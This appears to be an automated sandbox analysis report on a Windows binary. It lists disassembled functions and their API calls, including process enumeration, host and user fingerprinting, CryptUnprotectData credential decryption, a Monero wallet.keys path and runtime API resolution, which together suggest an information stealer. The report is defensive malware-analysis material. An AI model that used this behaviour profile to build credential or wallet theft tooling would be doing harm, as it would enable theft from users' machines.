Instruction ID: a8dbc1878b1c25e59dc617650c02a3ad35ee4db4a4f9e480547a680c6ba3fcaa
Opcode Fuzzy Hash: 5465caa7d845d717b31027ecdb0fb5f237aaf47ab42b3ccb3cc1b6176ac003e1
Instruction Fuzzy Hash: 021231B290011C9ADB18FB60DC56EFD73B8AF94340F4451B9B60E7A095EF706B49CB92

Function 00EF9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00EF961E
Process32First.KERNEL32(00F00ACA,00000128), ref: 00EF9632
Process32Next.KERNEL32(00F00ACA,00000128), ref: 00EF9647
StrCmpCA.SHLWAPI(?,00000000), ref: 00EF965C
CloseHandle.KERNEL32(00F00ACA), ref: 00EF967A

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 5a6037531d0496cbc1bae716f0b792c987de903db5155293cb82f087c3936933
Instruction ID: ac09a46370f8c1d861d92b0d95ce123a537de4bd2790cf3d8858493258d1ab4d
Opcode Fuzzy Hash: 5a6037531d0496cbc1bae716f0b792c987de903db5155293cb82f087c3936933
Instruction Fuzzy Hash: DE01E975A00208ABCB24DFA5D958BEDB7F8EF48301F104198EA46E7240DB759B94CF51

Function 00EF8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00F005B7), ref: 00EF86CA
Process32First.KERNEL32(?,00000128), ref: 00EF86DE
Process32Next.KERNEL32(?,00000128), ref: 00EF86F3

Part of subcall function 00EFA9B0: lstrlen.KERNEL32(?,01758BB0,?,\Monero\wallet.keys,00F00E17), ref: 00EFA9C5
Part of subcall function 00EFA9B0: lstrcpy.KERNEL32(00000000), ref: 00EFAA04
Part of subcall function 00EFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EFAA12

Part of subcall function 00EFA8A0: lstrcpy.KERNEL32(?,00F00E17), ref: 00EFA905

CloseHandle.KERNEL32(?), ref: 00EF8761

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 3851cbbf5d2538bc73021727b6ebdaae482e5cfb06d2f191593d5975d7597ff6
Instruction ID: 23e8848f414055c5682d207413b09d63e5ab8711b17645eeb4da6f6282ecc49f
Opcode Fuzzy Hash: 3851cbbf5d2538bc73021727b6ebdaae482e5cfb06d2f191593d5975d7597ff6
Instruction Fuzzy Hash: AA312AB190121CABCB28EF54DC45FEEB7B8EF45740F1041A9E60EB6190DB706A45CFA1

Function 00EF7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0175DBF8,00000000,?,00F00E10,00000000,?,00000000,00000000), ref: 00EF7A63
RtlAllocateHeap.NTDLL(00000000), ref: 00EF7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0175DBF8,00000000,?,00F00E10,00000000,?,00000000,00000000,?), ref: 00EF7A7D
wsprintfA.USER32 ref: 00EF7AB7

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 6069f7101b81046c7d7dcc22a6c4b66df2762a3731686859bd5172db7a52b007
Instruction ID: 94ab3098b403f907776553f6f37d04be3040ecfb46c7f7a9cfc0253d41fac9f5
Opcode Fuzzy Hash: 6069f7101b81046c7d7dcc22a6c4b66df2762a3731686859bd5172db7a52b007
Instruction Fuzzy Hash: 661182B1945218EBDB248F54EC45FA9B778FB04711F1043E6E616A32C0D7745E40CF51

Function 00EE9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00EE9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00EE9BA3
LocalFree.KERNEL32(?), ref: 00EE9BD3

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 142d601ff2f506dea39070fc4939606b14ba062944ea37f06b3b254e1652633c
Instruction ID: fa12a55787851aa50aab3a18e2847e570acb4a4a09c77548d52f8e729f5a4747
Opcode Fuzzy Hash: 142d601ff2f506dea39070fc4939606b14ba062944ea37f06b3b254e1652633c
Instruction Fuzzy Hash: F8110CB8A00209EFCB04DF94D985AAE77F5FF88300F104568E815A7344D774AE50CF61

Function 00EF78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00EF7910
RtlAllocateHeap.NTDLL(00000000), ref: 00EF7917
GetComputerNameA.KERNEL32(?,00000104), ref: 00EF792F

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: de9d60ad400212bf433a4a5aef941caee135bde520a685b6c1846e6d86700155
Instruction ID: 2303cff5b215914227245d27c7a79c92284b12d16c6302410897e755f7292a88
Opcode Fuzzy Hash: de9d60ad400212bf433a4a5aef941caee135bde520a685b6c1846e6d86700155
Instruction Fuzzy Hash: AA0186B1A08209EBC714DF94DD45BAABBB8FB44B11F104229FA55F3680C7B459408BA1

Function 00EF7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00EE11B7), ref: 00EF7880
RtlAllocateHeap.NTDLL(00000000), ref: 00EF7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00EF789F

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: fa7fa664a0941482d58f51d0717a6072b9e25c7051c15c6e965b0358f91cb07e
Instruction ID: 425ee2d25e866d22028e2bff4f3e4b14215f91134dffb09e9c6e58a4afd8754b
Opcode Fuzzy Hash: fa7fa664a0941482d58f51d0717a6072b9e25c7051c15c6e965b0358f91cb07e
Instruction Fuzzy Hash: 3AF04FB1944208ABC724DF98E949FAEBBB8EB04711F10066AFA15A3680C7B515448BA1

Function 00EE1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00EE116A
ExitProcess.KERNEL32 ref: 00EE117E

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 43d652a6c954813eaeb7621c2ebf24c4658962bd721b7e92e04a003d7d814610
Instruction ID: c0956849580106fcdb49ef927bdf82e8a0dec1bf1b14b06166c670c7672e1504
Opcode Fuzzy Hash: 43d652a6c954813eaeb7621c2ebf24c4658962bd721b7e92e04a003d7d814610
Instruction Fuzzy Hash: 60D05E7490030CEBCB28DFE0E8496EDBB78FB08311F0015A4D90673740EA3154D1CBA9

Function 00EF9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,017465E0), ref: 00EF9C2D
GetProcAddress.KERNEL32(75900000,01746640), ref: 00EF9C45
GetProcAddress.KERNEL32(75900000,01758EB0), ref: 00EF9C5E
GetProcAddress.KERNEL32(75900000,01758BF8), ref: 00EF9C76
GetProcAddress.KERNEL32(75900000,0175CBA0), ref: 00EF9C8E
GetProcAddress.KERNEL32(75900000,0175CC90), ref: 00EF9CA7
GetProcAddress.KERNEL32(75900000,0174AFF0), ref: 00EF9CBF
GetProcAddress.KERNEL32(75900000,0175CDE0), ref: 00EF9CD7
GetProcAddress.KERNEL32(75900000,0175CBD0), ref: 00EF9CF0
GetProcAddress.KERNEL32(75900000,0175CC78), ref: 00EF9D08
GetProcAddress.KERNEL32(75900000,0175CDC8), ref: 00EF9D20
GetProcAddress.KERNEL32(75900000,01746660), ref: 00EF9D39
GetProcAddress.KERNEL32(75900000,01746540), ref: 00EF9D51
GetProcAddress.KERNEL32(75900000,01746420), ref: 00EF9D69
GetProcAddress.KERNEL32(75900000,01746560), ref: 00EF9D82
GetProcAddress.KERNEL32(75900000,0175CDF8), ref: 00EF9D9A
GetProcAddress.KERNEL32(75900000,0175CC18), ref: 00EF9DB2
GetProcAddress.KERNEL32(75900000,0174B1D0), ref: 00EF9DCB
GetProcAddress.KERNEL32(75900000,017465A0), ref: 00EF9DE3
GetProcAddress.KERNEL32(75900000,0175CCA8), ref: 00EF9DFB
GetProcAddress.KERNEL32(75900000,0175CD98), ref: 00EF9E14
GetProcAddress.KERNEL32(75900000,0175CD20), ref: 00EF9E2C
GetProcAddress.KERNEL32(75900000,0175CD68), ref: 00EF9E44
GetProcAddress.KERNEL32(75900000,01746280), ref: 00EF9E5D
GetProcAddress.KERNEL32(75900000,0175CBE8), ref: 00EF9E75
GetProcAddress.KERNEL32(75900000,0175CD80), ref: 00EF9E8D
GetProcAddress.KERNEL32(75900000,0175CB40), ref: 00EF9EA6
GetProcAddress.KERNEL32(75900000,0175CDB0), ref: 00EF9EBE
GetProcAddress.KERNEL32(75900000,0175CC30), ref: 00EF9ED6
GetProcAddress.KERNEL32(75900000,0175CB10), ref: 00EF9EEF
GetProcAddress.KERNEL32(75900000,0175CB58), ref: 00EF9F07
GetProcAddress.KERNEL32(75900000,0175CCC0), ref: 00EF9F1F
GetProcAddress.KERNEL32(75900000,0175CB28), ref: 00EF9F38
GetProcAddress.KERNEL32(75900000,01759C08), ref: 00EF9F50
GetProcAddress.KERNEL32(75900000,0175CCD8), ref: 00EF9F68
GetProcAddress.KERNEL32(75900000,0175CCF0), ref: 00EF9F81
GetProcAddress.KERNEL32(75900000,017462C0), ref: 00EF9F99
GetProcAddress.KERNEL32(75900000,0175CC00), ref: 00EF9FB1
GetProcAddress.KERNEL32(75900000,01746300), ref: 00EF9FCA
GetProcAddress.KERNEL32(75900000,0175CD08), ref: 00EF9FE2
